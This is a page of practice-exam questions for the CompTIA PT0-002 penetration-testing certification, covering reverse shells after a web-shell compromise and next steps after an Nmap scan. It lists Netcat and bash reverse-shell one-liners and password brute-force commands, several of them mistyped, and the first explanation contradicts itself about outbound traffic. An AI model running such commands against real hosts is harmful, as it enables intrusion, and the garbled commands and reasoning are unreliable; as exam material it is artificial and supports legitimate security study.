ExamGecko
Home Home / CompTIA / PT0-002

CompTIA PT0-002 Practice Test - Questions Answers, Page 43

Question list
Search
Search

Related questions











After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to obtain an interactive shell on the remote host?

A.
bash -i >& /dev/tcp 8443 0>&l
A.
bash -i >& /dev/tcp 8443 0>&l
Answers
B.
nc -e host 8443 /bin/bash
B.
nc -e host 8443 /bin/bash
Answers
C.
nc -vlp 8443 /bin/bash
C.
nc -vlp 8443 /bin/bash
Answers
D.
nc -vp 8443 /bin/bash
D.
nc -vp 8443 /bin/bash
Answers
Suggested answer: B

Explanation:

When a firewall is blocking outbound traffic, a penetration tester can attempt to use a reverse shell to obtain an interactive shell on the remote host. The command nc -e host 8443 /bin/bash uses Netcat to create a reverse shell, connecting back to the attacker's machine on port 8443 and executing /bin/bash.

This command assumes that outbound traffic is allowed on the specified port (8443) and that Netcat is available on the target system. It effectively bypasses the firewall's restrictions by initiating the connection from the inside.

Explanation of reverse shell techniques: Pentestmonkey Reverse Shell Cheat Sheet

Practical examples from penetration testing scenarios: Horizontall.

A penetration tester runs an Nmap scan and obtains the following output:

Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-12 18:53 GMT

Nmap scan report for 10.22.2.2

Host is up (0.0011s latency).

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows Server 2019

1433/tcp open ms-sql-s Microsoft SQL Server 2019

3389/tcp open ms-wbt-server Microsoft Terminal Services

8080/tcp open http Microsoft IIS 9.0

Which of the following commands should the penetration tester try next to explore this server?

A.
nikto -host http://10.22.2-2
A.
nikto -host http://10.22.2-2
Answers
B.
hydra -1 administrator -P passwords.txt ftp://10.22.2.2
B.
hydra -1 administrator -P passwords.txt ftp://10.22.2.2
Answers
C.
nmap -p 3389 ---script vnc-info.nse 10.22.2.2
C.
nmap -p 3389 ---script vnc-info.nse 10.22.2.2
Answers
D.
medusa -h 10.22.2.2 -n 1433 -u sa -P passwords.txt-Mmssql
D.
medusa -h 10.22.2.2 -n 1433 -u sa -P passwords.txt-Mmssql
Answers
Suggested answer: A

Explanation:

Given the Nmap scan results showing an open HTTP service on port 8080 running Microsoft IIS 9.0, the next logical step for the penetration tester would be to further explore the web server. Nikto is a web server scanner that can identify known vulnerabilities, configuration issues, and other security problems.

Using the command nikto -host http://10.22.2.2 will initiate a scan against the HTTP service on the target server, helping the tester to identify potential weaknesses that could be exploited.

Nikto official documentation: Nikto Documentation

Examples of web server vulnerability scanning in penetration testing: Writeup.

Total 422 questions
Go to page: of 43